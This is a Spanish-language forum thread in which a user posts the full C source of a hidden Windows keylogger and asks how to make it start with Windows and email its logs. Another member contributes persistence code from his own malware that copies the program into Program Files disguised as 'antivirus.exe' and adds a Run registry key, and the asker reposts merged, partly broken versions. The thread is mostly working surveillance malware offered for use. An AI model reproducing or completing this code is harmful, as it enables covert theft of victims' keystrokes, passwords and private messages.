Añadir keylogger al registro, y envio por email.

Iniciado por josefort360, 20 Agosto 2014, 20:59 PM

0 Miembros y 2 Visitantes están viendo este tema.

josefort360

Hola, e cojido de esta pagina un codigo de keylogger, pero nose como hacer para añadirlo al registro y que se ejecute al inicio, y hacer que se envie el log por email, aqui os dejo el codigo.
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
;

тαптяα

Puedes probar a escribir un script en Batch para el inicio automático.

harry_the_blogger

Yo te puedo dar un fragmento de codigo de mi propio malware que te permita iniciar con Windows. Espero que te sirva, analizalo, y pruebalo para saber si es lo que buscas. Lo he comentado en ingles, para que se vea mas profesional. Deberías aprender ese idioma para poder participar en foros de habla inglesa.

Código (cpp) [Seleccionar]

#include "windows.h"

///This function copies the malware executable to the system folder
///And after that, create a registry key to start with Windows.
int start_with_windows(){
    char execution_dir[MAX_PATH];
    char *program_files_variable;
    char path_destiny[MAX_PATH];

    cout << "Start with windows..." << endl;

    ///Gets from which directory the program is running
    HMODULE current_executable = GetModuleHandle(NULL);
    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));

    ///Gets program files directory
    program_files_variable = getenv("PROGRAMFILES");

    ///Copies the program files directory to the destiny path string
    strcpy(path_destiny, program_files_variable);
    strcat(path_destiny, "\\antivirus.exe");

    ///Copies the file to the program files folder
    CopyFile(execution_dir, path_destiny, false);

    ///Creates a registry key
    HKEY hKey;

    ///Opens the registry key "run" to start with Windows
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    ///Set the value of the new key. Put the path of the malware
    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));

    RegCloseKey(hKey);

    ///Debugging purpouses
    //cout << execution_dir << endl;

    return 0;
}




Yo te recomiendo que hagas tu keylogger en C puro, sin usar C++ o Batch. ¿Por que razón? Porque es más eficiente y profesional usar C. Batch no sirve para crear malware de verdad.

Espero que mi codigo te haya sido util. Si alguna cosa, no dudes en venir al foro de nuevo. Aqui estamos para ayudarnos mutuamente.
Vista mi blog es enriquemesa.blogspot.com

josefort360

Hola, muchas gracias por el code, pero me da errores, lo mismo es por mi ignorancia, lo e dejado asi, podrias mirar haber si esta bien?
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

int start_with_windows(){
    char execution_dir[MAX_PATH];
    char *program_files_variable;
    char path_destiny[MAX_PATH];

    cout << "Start with windows..." << endl;

    ///Gets from which directory the program is running
    HMODULE current_executable = GetModuleHandle(NULL);
    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));

    ///Gets program files directory
    program_files_variable = getenv("PROGRAMFILES");

    ///Copies the program files directory to the destiny path string
    strcpy(path_destiny, program_files_variable);
    strcat(path_destiny, "\\antivirus.exe");

    ///Copies the file to the program files folder
    CopyFile(execution_dir, path_destiny, false);

    ///Creates a registry key
    HKEY hKey;

    ///Opens the registry key "run" to start with Windows
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    ///Set the value of the new key. Put the path of the malware
    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));

    RegCloseKey(hKey);

    ///Debugging purpouses
    //cout << execution_dir << endl;

    return 0;
}

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}

harry_the_blogger

Debes aprender más sobre programacion en C. Por lo que veo, solo es cuestion de agregar una llamada a la funcion que inicia con Windows en el cuerpo de la funcion main. Hasta aqui te puedo ayudar. Son errores simples, solo debes conocer el lenguaje C, y en eso no te puedo ayudar.
Vista mi blog es enriquemesa.blogspot.com

josefort360

Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.

engel lex

Cita de: josefort360 en 21 Agosto 2014, 01:00 AM
Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.

o aprendes o lo dejas, demasiado facilismo dar un codigo que no es tuyo y que te lo den arreglado...

por cierto al insertar codigo usa las etiquetas geshi
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

josefort360

Citar/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *logg;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

int main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
logg=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(logg,"\n------------------------------------\n");
fprintf(logg,"
  • PhcKey 0.2 Log");
    fprintf(logg,"\n
  • Iniciando keyloguer...");
    fclose(logg);
    /*comenzamos a loguear teclas*/
    KeyLogger();
    start_with_windows();
    }

    int start_with_windows(){
        char execution_dir[MAX_PATH];
        char *program_files_variable;
        char path_destiny[MAX_PATH];


        ///Gets from which directory the program is running
        HMODULE current_executable = GetModuleHandle(NULL);
        GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));

        ///Gets program files directory
        program_files_variable = getenv("C:\Program Files (x86)");

        ///Copies the program files directory to the destiny path string
        strcpy(path_destiny, program_files_variable);
        strcat(path_destiny, "\Adobe");

        ///Copies the file to the program files folder
        CopyFile(execution_dir, path_destiny, 0);

        ///Creates a registry key
        HKEY hKey;

        ///Opens the registry key "run" to start with Windows
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

        ///Set the value of the new key. Put the path of the malware
        RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));

        RegCloseKey(hKey);

        ///Debugging purpouses
        //cout << execution_dir << endl;

        return 0;
    }


    /*==============================================================
        ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
    ==============================================================*/
    void KeyLogger()
    {
    //para obtener la hora del equipo
    time_t ltime;
    /*obtiene el código ascii de la tecla pulsada*/
    int tecla=0;
    //para el texto de la vntana activa
    char TVentana[500];
    //para almacenar las teclas que se pulsan
    char *Teclas;
    int k; //para recorrer el código ascii de las letras
    //el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
    char dominio[] = "abcdefghijklmnopqrstuvwxyz";
    //idem
    char dominio_num[] = "0123456789"; //para escanear el numpad

    //limpiamos el buffer del teclado para no mezclar
    fflush(stdin);

    /*comenzamos a loguear*/
    logg=fopen("LgPh.log","a");
    fprintf(logg,"OK\n");
    fclose(logg);

    //cojemos el hwnd de la ventana activa
    ventana=GetForegroundWindow();

    //guardamos la memoria
    Teclas=calloc(1024,sizeof(char));
    //mientras la variable 'loguea' sea TRUE
    do
    {
    /*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
    if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
    {
    if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
    {
    //cojemos la hora
    time(&ltime);
    ctime(&ltime);

    //como ha cambiado laventana, guardamos los datos
    logg=fopen("LgPh.log","a");
    fprintf(logg,"\n\n
  • Fecha: %s",ctime(&ltime)); //metemos la hora
    fprintf(logg,"[-] [ Ventana: %s ]",TVentana);
    fprintf(logg,"\n    %s",Teclas);//guardamos las teclas
    fclose(logg);
    //limpiamos la variable
    free(Teclas);
    Teclas=calloc(1024,sizeof(char));
    }
    //cojemos el nuevo hwnd
    ventana=GetForegroundWindow();
    }else{
    //y ahora cojemos el nuevo texto de la ventana
    GetWindowText(ventana,TVentana,500);
    }

    /*creamos un bucle para saber qué tecla pulsa*/
    for(tecla=4;tecla<256;tecla++)
    {
    if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
    {
    //------------------------------------
    /*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
    //------------------------------------
    for(k=65;k<91;k++)
    {
    if(tecla==k)
    {
    Teclas[strlen(Teclas)]=dominio[tecla-65];
    Teclas[strlen(Teclas)]='\0';
    }
    }

    //-----------------------------------------------
    /*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
    //-----------------------------------------------
    for(k=96;k<106;k++)
    {
    if(tecla==k)
    {
    Teclas[strlen(Teclas)]=dominio_num[tecla-96];
    Teclas[strlen(Teclas)]='\0';
    }
    }

    //filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
    switch(tecla)
    {
    /*Miramos los "F1,F2..."*/
    case 112:
    strcat(Teclas,"[F1]");
    break;

    case 113:
    strcat(Teclas,"[F2]");
    break;

    case 114:
    strcat(Teclas,"[F3]");
    break;

    case 115:
    strcat(Teclas,"[F4]");
    break;

    case 116:
    strcat(Teclas,"[F5]");
    break;

    case 117:
    strcat(Teclas,"[F6]");
    break;

    case 118:
    strcat(Teclas,"[F7]");
    break;

    case 119:
    strcat(Teclas,"[F8]");
    break;

    case 120:
    strcat(Teclas,"[F9]");
    break;

    case 121:
    strcat(Teclas,"[F10]");
    break;

    case 122:
    strcat(Teclas,"[F11]");
    break;

    case 123:
    strcat(Teclas,"[F13]");
    break;

    case 27:
    strcat(Teclas,"[Escape]");
    break;

    case 8:
    strcat(Teclas,"[Retroceso]");
    break;

    case 13:
    strcat(Teclas,"[Enter]");
    break;

    case 9:
    strcat(Teclas,"[Tabulado]");
    break;

    case 20:
    strcat(Teclas,"[Bloq.Mayus.]");
    break;

    case 160:
    strcat(Teclas,"[Shitf(Izq)]");
    break;

    case 161:
    strcat(Teclas,"[Shitf(Dcha)]");
    break;

    /*caracteres especiales*/
    case 221:
    Teclas[strlen(Teclas)]='¡';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 219:
    strcat(Teclas,"[']");
    break;

    case 192:
    strcat(Teclas,"[ñ]");
    break;

    case 32:
    strcat(Teclas," ");
    break;

    case 144:
    strcat(Teclas,"[Bloq Num]");
    break;

    case 111:
    Teclas[strlen(Teclas)]='/';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 106:
    Teclas[strlen(Teclas)]='*';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 109:
    Teclas[strlen(Teclas)]='-';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 220:
    Teclas[strlen(Teclas)]='\\';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 49:
    Teclas[strlen(Teclas)]='1';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 50:
    Teclas[strlen(Teclas)]='2';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 51:
    Teclas[strlen(Teclas)]='3';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 52:
    Teclas[strlen(Teclas)]='4';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 53:
    Teclas[strlen(Teclas)]='5';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 54:
    Teclas[strlen(Teclas)]='6';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 55:
    Teclas[strlen(Teclas)]='7';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 56:
    Teclas[strlen(Teclas)]='8';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 57:
    Teclas[strlen(Teclas)]='9';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 48:
    Teclas[strlen(Teclas)]='0';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 188:
    Teclas[strlen(Teclas)]=',';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 189:
    Teclas[strlen(Teclas)]='-';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 190:
    Teclas[strlen(Teclas)]='.';
    Teclas[strlen(Teclas)]='\0';
    break;

    default:
    //mostramos el caracter ascii de la tecla pulsada
    //printf("{%d}",tecla);
    break;
    };
    }
    }
    _sleep(100);
    }while (1<2);
    }
Veran, ya pude poner bien la funcion, pero lo que pasa es que en el registro no registra nada, que es lo que esta mal?